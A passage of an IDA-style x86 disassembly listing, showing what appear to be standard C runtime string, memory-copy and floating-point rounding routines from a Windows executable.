mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41BE61
xor eax, eax
jmp short loc_41BE63
; ---------------------------------------------------------------------------
loc_41BE61: ; CODE XREF: sub_41BE40+1Bj
mov eax, edi
loc_41BE63: ; CODE XREF: sub_41BE40+1Fj
cld
pop edi
leave
retn
sub_41BE40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p
; ___:0041DD1Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41BEA1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41BE9F
jz short loc_41BEA1
dec ecx
dec ecx
loc_41BE9F: ; CODE XREF: sub_41BE70+29j
not ecx
loc_41BEA1: ; CODE XREF: sub_41BE70+9j
; sub_41BE70+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41BE70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp
; sub_401ACD+2FFCp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41BF21
sub_41BEB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p
; sub_401ACD+75FEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41BEDC
loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BF0F
test ecx, 3
jnz short loc_41BECD
loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj
; sub_41BEC0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41BEDC
mov eax, [ecx-4]
test al, al
jz short loc_41BF1E
test ah, ah
jz short loc_41BF19
test eax, 0FF0000h
jz short loc_41BF14
test eax, 0FF000000h
jz short loc_41BF0F
jmp short loc_41BEDC
; ---------------------------------------------------------------------------
loc_41BF0F: ; CODE XREF: sub_41BEC0+12j
; sub_41BEC0+4Bj
lea edi, [ecx-1]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF14: ; CODE XREF: sub_41BEC0+44j
lea edi, [ecx-2]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj
lea edi, [ecx-3]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF1E: ; CODE XREF: sub_41BEC0+39j
lea edi, [ecx-4]
loc_41BF21: ; CODE XREF: sub_41BEB0+5j
; sub_41BEC0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41BF46
loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41BF98
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41BF2D
jmp short loc_41BF46
; ---------------------------------------------------------------------------
loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej
; sub_41BEC0+B8j
mov [edi], edx
add edi, 4
loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj
; sub_41BEC0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41BF41
test dl, dl
jz short loc_41BF98
test dh, dh
jz short loc_41BF8F
test edx, 0FF0000h
jz short loc_41BF82
test edx, 0FF000000h
jz short loc_41BF7A
jmp short loc_41BF41
; ---------------------------------------------------------------------------
loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF82: ; CODE XREF: sub_41BEC0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF98: ; CODE XREF: sub_41BEC0+72j
; sub_41BEC0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41BEC0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41BFB0
loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41BFB0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p
; sub_401ACD+4C3p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41BFB6: ; CODE XREF: sub_41B900+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41BFDB
loc_41BFC8: ; CODE XREF: sub_41BFB0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41BFA0
test cl, cl
jz short loc_41C024
test edx, 3
jnz short loc_41BFC8
loc_41BFDB: ; CODE XREF: sub_41BFB0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41BFE6: ; CODE XREF: sub_41BFB0+61j
; sub_41BFB0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C028
and eax, 81010100h
jz short loc_41BFE6
and eax, 1010100h
jnz short loc_41C022
and esi, 80000000h
jnz short loc_41BFE6
loc_41C022: ; CODE XREF: sub_41BFB0+68j
; sub_41BFB0+81j ...
pop esi
pop edi
loc_41C024: ; CODE XREF: sub_41BFB0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C028: ; CODE XREF: sub_41BFB0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C065
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C05E
test ah, ah
jz short loc_41C022
shr eax, 10h
cmp al, bl
jz short loc_41C057
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C050
test ah, ah
jz short loc_41C022
jmp short loc_41BFE6
; ---------------------------------------------------------------------------
loc_41C050: ; CODE XREF: sub_41BFB0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C057: ; CODE XREF: sub_41BFB0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C05E: ; CODE XREF: sub_41BFB0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C065: ; CODE XREF: sub_41BFB0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41BFB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C0BC
loc_41C080: ; CODE XREF: sub_41C070+3Cj
; sub_41C070+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+3]
jnz short loc_41C0B4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C080
mov edi, edi
loc_41C0B0: ; CODE XREF: sub_41C070+18j
; sub_41C070+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0B4: ; CODE XREF: sub_41C070+14j
; sub_41C070+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0BC: ; CODE XREF: sub_41C070+Ej
test edx, 1
jz short loc_41C0D8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C0B4
inc ecx
or al, al
jz short loc_41C0B0
test edx, 2
jz short loc_41C080
loc_41C0D8: ; CODE XREF: sub_41C070+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
add ecx, 2
jmp short loc_41C080
sub_41C070 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41C10D: ; CODE XREF: sub_41C0F4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41C10D
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41C135
mov edx, dword_4DB974
loc_41C135: ; CODE XREF: sub_41C0F4+39j
; sub_41C0F4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41C155
test al, al
jz short loc_41C155
inc edx
jmp short loc_41C135
; ---------------------------------------------------------------------------
loc_41C155: ; CODE XREF: sub_41C0F4+58j
; sub_41C0F4+5Cj
mov ebx, edx
loc_41C157: ; CODE XREF: sub_41C0F4+81j
mov al, [edx]
test al, al
jz short loc_41C17B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41C177
inc edx
jmp short loc_41C157
; ---------------------------------------------------------------------------
loc_41C177: ; CODE XREF: sub_41C0F4+7Ej
and byte ptr [edx], 0
inc edx
loc_41C17B: ; CODE XREF: sub_41C0F4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DB974, edx
and eax, ebx
pop ebx
leave
retn
sub_41C0F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp
; sub_415220+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C1CE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C1DB
; ---------------------------------------------------------------------------
loc_41C1CE: ; CODE XREF: sub_41C190+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41C1DB: ; CODE XREF: sub_41C190+3Cj
mov eax, esi
pop esi
leave
retn
sub_41C190 endp
; =============== S U B R O U T I N E =======================================
sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p
; sub_40B64A+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41C294
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C20A
loc_41C1FB: ; CODE XREF: sub_41C1E0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41C23B
test edi, 3
jnz short loc_41C1FB
loc_41C20A: ; CODE XREF: sub_41C1E0+19j
; sub_41C1E0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C20A
mov eax, [edi-4]
test al, al
jz short loc_41C248
test ah, ah
jz short loc_41C243
test eax, 0FF0000h
jz short loc_41C23E
test eax, 0FF000000h
jnz short loc_41C20A
loc_41C23B: ; CODE XREF: sub_41C1E0+20j
dec edi
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C23E: ; CODE XREF: sub_41C1E0+52j
sub edi, 2
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C243: ; CODE XREF: sub_41C1E0+4Bj
sub edi, 3
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C248: ; CODE XREF: sub_41C1E0+47j
sub edi, 4
loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj
; sub_41C1E0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
jmp short loc_41C27C
; ---------------------------------------------------------------------------
loc_41C260: ; CODE XREF: sub_41C1E0+75j
; sub_41C1E0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41C29A
mov [edi], dl
inc edi
dec ecx
jz short loc_41C290
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej
; sub_41C1E0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41C290
loc_41C283: ; CODE XREF: sub_41C1E0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41C292
dec ecx
jnz short loc_41C283
loc_41C290: ; CODE XREF: sub_41C1E0+8Bj
; sub_41C1E0+A1j
mov [edi], cl
loc_41C292: ; CODE XREF: sub_41C1E0+ABj
pop ebx
pop esi
loc_41C294: ; CODE XREF: sub_41C1E0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C29A: ; CODE XREF: sub_41C1E0+85j
; sub_41C1E0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j
; sub_41C1E0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C27C
loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj
; sub_41C1E0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C2A4
test dl, dl
jz short loc_41C29A
test dh, dh
jz short loc_41C2F8
test edx, 0FF0000h
jz short loc_41C2E8
test edx, 0FF000000h
jnz short loc_41C2A4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C1E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p
; sub_40BFA3+3Bp ...
var_3A3BFFC0 = byte ptr -3A3BFFC0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41C330
cmp edi, eax
jb loc_41C4A8
loc_41C330: ; CODE XREF: sub_41C310+16j
test edi, 3
jnz short loc_41C34C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
loc_41C34C: ; CODE XREF: sub_41C310+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41C364
and eax, 3
add ecx, eax
jmp dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C364: ; CODE XREF: sub_41C310+46j
jmp dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C36C: ; CODE XREF: sub_41C310+31j
; sub_41C310+8Ej ...
jmp off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41C380
; ---------------------------------------------------------------------------
lodsb
retn
; ---------------------------------------------------------------------------
inc ecx
add al, dl
retn
; ---------------------------------------------------------------------------
dw 41h
; ---------------------------------------------------------------------------
loc_41C380: ; DATA XREF: sub_41C310+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr
dd offset loc_41C43C
dd offset loc_41C434
dd offset loc_41C42C
dd offset loc_41C424
dd offset loc_41C41C
dd offset loc_41C414
dd offset loc_41C40C
; ---------------------------------------------------------------------------
loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310:off_41C3ECo
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r
; sub_41C310+92r ...
dd offset loc_41C470
dd offset loc_41C47C
dd offset loc_41C490
; ---------------------------------------------------------------------------
loc_41C468: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C470: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C47C: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C490: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C4A8: ; CODE XREF: sub_41C310+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41C4DC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41C4D0: ; CODE XREF: sub_41C310+1B1j
; sub_41C310+208j ...
neg ecx
jmp dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C4DC: ; CODE XREF: sub_41C310+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41C4F4
and eax, 3
sub ecx, eax
jmp dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C4F4: ; CODE XREF: sub_41C310+1D6j
; DATA XREF: sub_41C310+1DDr
jmp off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
align 4
or ch, al
inc ecx
add [eax], ch
lds eax, [ecx+0]
push eax
lds eax, [ecx+0]
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
movsb
lds eax, [ecx+0]
lodsb
lds eax, [ecx+0]
mov ah, 0C5h
inc ecx
add [ebp+eax*8-3A3BFFBFh], bh
inc ecx
add ah, cl
lds eax, [ecx+0]
aam 0C5h
inc ecx
loc_41C59F: ; DATA XREF: sub_41C310+1C2r
add bh, ah
lds eax, [ecx+0]
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C5E7: ; CODE XREF: sub_41C310+1C2j
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r
; sub_41C310:loc_41C4F4r ...
dd offset loc_41C608
dd offset loc_41C618
dd offset loc_41C62C
; ---------------------------------------------------------------------------
loc_41C600: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C608: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C618: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C62C: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41C310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p
; ___:0040E29Fp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41AFE0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420510
add esp, 10h
leave
retn
sub_41C645 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C679(double)
sub_41C679 proc near ; CODE XREF: sub_40D030+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A940
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C6FF
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C6E2
cmp eax, 2
jle short loc_41C6D4
cmp eax, 3
jnz short loc_41C6E2
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6D4: ; CODE XREF: sub_41C679+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6E2: ; CODE XREF: sub_41C679+3Aj
; sub_41C679+44j
fld [ebp+arg_0]
fadd dbl_427718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41C73C
; ---------------------------------------------------------------------------
loc_41C6FF: ; CODE XREF: sub_41C679+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C722
loc_41C714: ; CODE XREF: sub_41C679+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C722: ; CODE XREF: sub_41C679+99j
test bl, 20h
jnz short loc_41C714
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41C73C: ; CODE XREF: sub_41C679+84j
call sub_421014
add esp, 1Ch
loc_41C744: ; CODE XREF: sub_41C679+59j
; sub_41C679+67j ...
pop esi
pop ebx
leave
retn
sub_41C679 endp
; =============== S U B R O U T I N E =======================================
sub_41C748 proc near ; CODE XREF: ___:0041B78Dp
; sub_4218B2+21p
; DATA XREF: ...
call sub_41C760
call sub_4218B2
mov dword_4DB97C, eax
call sub_421862
fnclex
retn
